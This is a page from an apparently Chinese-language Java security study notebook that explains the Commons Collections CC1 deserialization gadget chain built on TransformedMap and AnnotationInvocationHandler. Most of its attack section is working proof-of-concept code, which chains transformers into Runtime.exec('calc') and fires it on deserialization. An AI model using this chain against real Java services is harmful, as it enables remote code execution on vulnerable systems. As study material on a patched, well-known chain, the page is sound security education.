Java
  • About This Book
  • 🍖Prerequisites
    • 反射
      • 反射基本使用
      • 高版本JDK反射绕过
      • 反射调用命令执行
      • 反射构造HashMap
      • 方法句柄
    • 类加载
      • 动态加载字节码
      • 双亲委派模型
      • BCEL
      • SPI
    • RMI & JNDI
      • RPC Intro
      • RMI
      • JEP 290
      • JNDI
    • Misc
      • Unsafe
      • 代理模式
      • JMX
      • JDWP
      • JPDA
      • JVMTI
      • JNA
      • Java Security Manager
  • 👻Serial Journey
    • URLDNS
    • SerialVersionUID
    • Commons Collection 🥏
      • CC1-TransformedMap
      • CC1-LazyMap
      • CC6
      • CC3
      • CC2
    • FastJson 🪁
      • FastJson-Basic Usage
      • FastJson-TemplatesImpl
      • FastJson-JdbcRowSetImpl
      • FastJson-BasicDataSource
      • FastJson-ByPass
      • FastJson与原生反序列化(一)
      • FastJson与原生反序列化(二)
      • Jackson的原生反序列化利用
    • Other Components
      • SnakeYaml
      • C3P0
      • AspectJWeaver
      • Rome
      • Spring
      • Hessian
      • Hessian_Only_JDK
      • Kryo
      • Dubbo
  • 🌵RASP
    • JavaAgent
    • JVM
    • ByteCode
    • JNI
    • ASM 🪡
      • ASM Intro
      • Class Generation
      • Class Transformation
    • Rasp防御命令执行
    • OpenRASP
  • 🐎Memory Shell
    • Tomcat-Architecture
    • Servlet API
      • Listener
      • Filter
      • Servlet
    • Tomcat-Middlewares
      • Tomcat-Valve
      • Tomcat-Executor
      • Tomcat-Upgrade
    • Agent MemShell
    • WebSocket
    • 内存马查杀
    • IDEA本地调试Tomcat
  • ✂️JDBC Attack
    • MySQL JDBC Attack
    • H2 JDBC Attack
  • 🎨Templates
    • FreeMarker
    • Thymeleaf
    • Enjoy
  • 🎏MessageQueue
    • ActiveMQ CNVD-2023-69477
    • AMQP CVE-2023-34050
    • Spring-Kafka CVE-2023-34040
    • RocketMQ CVE-2023-33246
  • 🛡️Shiro
    • Shiro Intro
    • Request URI ByPass
    • Context Path ByPass
    • Remember Me反序列化 CC-Shiro
    • CB1与无CC依赖的反序列化链
  • 🍺Others
    • Deserialization Twice
    • A New Blazer 4 getter RCE
    • Apache Commons Jxpath
    • El Attack
    • Spel Attack
    • C3P0原生反序列化的JNDI打法
    • Log4j
    • Echo Tech
      • SpringBoot Under Tomcat
    • CTF 🚩
      • 长城杯-b4bycoffee (ROME反序列化)
      • MTCTF2022(CB+Shiro绕过)
      • CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
      • CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)
      • CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)
      • D^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)
      • WMCTF2023(CC链花式玩法+盲读文件)
      • 第六届安洵杯网络安全挑战赛(CB PriorityQueue替代+Postgresql JDBC Attack+FreeMarker)
  • 🔍Code Inspector
    • CodeQL 🧶
      • Tutorial
        • Intro
        • Module
        • Predicate
        • Query
        • Type
      • CodeQL 4 Java
        • Basics
        • DFA
        • Example
    • SootUp ✨
      • Intro
      • Jimple
      • DFA
      • CG
    • Tabby 🔦
      • install
    • Theory
      • Static Analysis
        • Intro
        • IR & CFG
        • DFA
        • DFA-Foundation
        • Interprocedural Analysis
        • Pointer Analysis
        • Pointer Analysis Foundation
        • PTA-Context Sensitivity
        • Taint Anlysis
        • Datalog
Powered by GitBook
On this page
  • 0x01 Environment Build
  • 0x02 Transformer Glance
  • 0x03 Best Practice
  • 0x04 Weave POC
  • 0x05 CC1 Shortcomings

Was this helpful?

  1. 👻Serial Journey
  2. Commons Collection 🥏

CC1-TransformedMap

PreviousCommons Collection 🥏NextCC1-LazyMap

Last updated 1 year ago

Was this helpful?

0x01 Environment Build

  • JDK版本:jdk 8u65

  • <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>

源码里面都是.class文件,反编译的代码不好阅读,需下载.java源码, 解压jdk8u65的src.zip,将下载后的源码(src\share\classes)的sun文件夹拷贝到解压后的src文件夹

IDEA =》Project Structure =》Platform Settings =》 SDKs =》8u65 =》 SourcePath

另外Maven下载的Commons Collection 也是.class文件,点击Download Sources

若无效试试dependency:resolve -Dclassifier=sources

0x02 Transformer Glance

  • Transformer

    public interface Transformer {
        public Object transform(Object input);
    }

    Transformer是一个接口,预定义的transform()方法能接受任意类型参数 接口下面有几个重要的实现类,且都实现了Serializable接口。

  • ConstantTransformer

    public class ConstantTransformer implements Transformer, Serializable {
        private final Object iConstant;
        public ConstantTransformer(Object constantToReturn) {
            super();
            iConstant = constantToReturn;
        }
        public Object transform(Object input) {
            return iConstant;
        }
    }

    调用transform()方法返回构造时传入的对象 就是传入传出一个对象,前后不变。

  • InvokerTransformer

    public class InvokerTransformer implements Transformer, Serializable {
        public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
            super();
            iMethodName = methodName;
            iParamTypes = paramTypes;
            iArgs = args;
        }
        public Object transform(Object input) {
            if (input == null) {
                return null;
            }
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(iMethodName, iParamTypes);
                return method.invoke(input, iArgs);
            } // catch ....
        }
    }

    反序列化利用的关键类,可以执行任意方法。

    • iMethodName 待执行的方法名

    • iParamTypes 待执行方法的参数列表的参数类型

    • iArgs 待执行方法的参数列表

    调用transform的时候会执行input对象的iMethodName方法

  • ChainedTransformer

    public class ChainedTransformer implements Transformer, Serializable {
        public ChainedTransformer(Transformer[] transformers) {
            super();
            iTransformers = transformers;
        }
        public Object transform(Object object) {
            for (int i = 0; i < iTransformers.length; i++) {
                object = iTransformers[i].transform(object);
            }
            return object;
        }
    }

    将多个Transformer串成一条链,前一个调用返回的结果作为后一个调用的参数

  • TransformedMap

    public class TransformedMap{
        public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
            return new TransformedMap(map, keyTransformer, valueTransformer);
        }
        protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
            super(map);
            this.keyTransformer = keyTransformer;
            this.valueTransformer = valueTransformer;
        }
        protected Object checkSetValue(Object value) {
            return valueTransformer.transform(value);
        }
    }

    TransformedMap用于对Java原生Map进行一些修饰,当Map调用setValue时,会触发checkSetValue,进而调用transform。其构造方法被protected修饰,因此我们利用它的静态public方法decorate

0x03 Best Practice

使用Transformer的实现类和TransformedMap实现命令执行

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashedMap();
Map<Object, Object> evilMap = TransformedMap.decorate(map, null, chainedTransformer);
evilMap.put("test", 123);

两个问题:

  • Runtime类没有实现Serializable接口,无法反序列化

  • 需要找到readObject中有类似Map.put(xxx,yyy)操作的类

Q1:Class类可以反序列化,用Runtime.class作为ChainedTransformer的入口参数,后面再通过反射来调用exec

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashedMap();
Map<Object, Object> evilMap = TransformedMap.decorate(map, null, chainedTransformer);
evilMap.put("test", 123);

Q2:Introducing ~ AnnotationInvocationHandler

// sun.reflect.annotation.AnnotationInvocationHandler#readObject
private void readObject(java.io.ObjectInputStream s) {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
            }
        }
    }
}

memberValue.setValue =》TransformedMap#checkSetValue =》 valueTransformer.transform()

因此让memberValue为上面的evilMap即可。

  • PROBLEM THROW:

    需要满足memberType != null才能进入memberValue.setValue

Class<?> memberType = memberTypes.get(name);

memberTypes👇

name👇

Map<String, Class<?>> memberTypes = annotationType.memberTypes(); String name = memberValue.getKey();

annotationType👇

annotationType = AnnotationType.getInstance(type);

构造函数:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)

type是构造对象时传进来的Annotation子类的Class name是传入Map(memberValues)的每个键名

memberType.get(name)要不为空即要求AnnotationType要有名为name的成员

System.out.println(AnnotationType.getInstance(Target.class).memberTypes());
// {value=class [Ljava.lang.annotation.ElementType;}
System.out.println(AnnotationType.getInstance(Retention.class).memberTypes());
// {value=class java.lang.annotation.RetentionPolicy}

@Retention和@Target都有value这个成员

另外,AnnotationInvocationHandler的构造方法被default修饰,不能直接new,利用反射来实例化该类

0x04 Weave POC

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashedMap();
map.put("value", 123);
Map<Object, Object> evilMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object aih = cons.newInstance(Target.class, evilMap);

// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(aih);
oos.close();

// 反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
ois.close();

0x05 CC1 Shortcomings

sun.reflect.annotation.AnnotationInvocationHandler作为CC1链的入口类, 在Java 8u71之后被修改了 修改后的readObject方法中新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执 行setValue或put操作,也就不会触发RCE了。

点击zip下载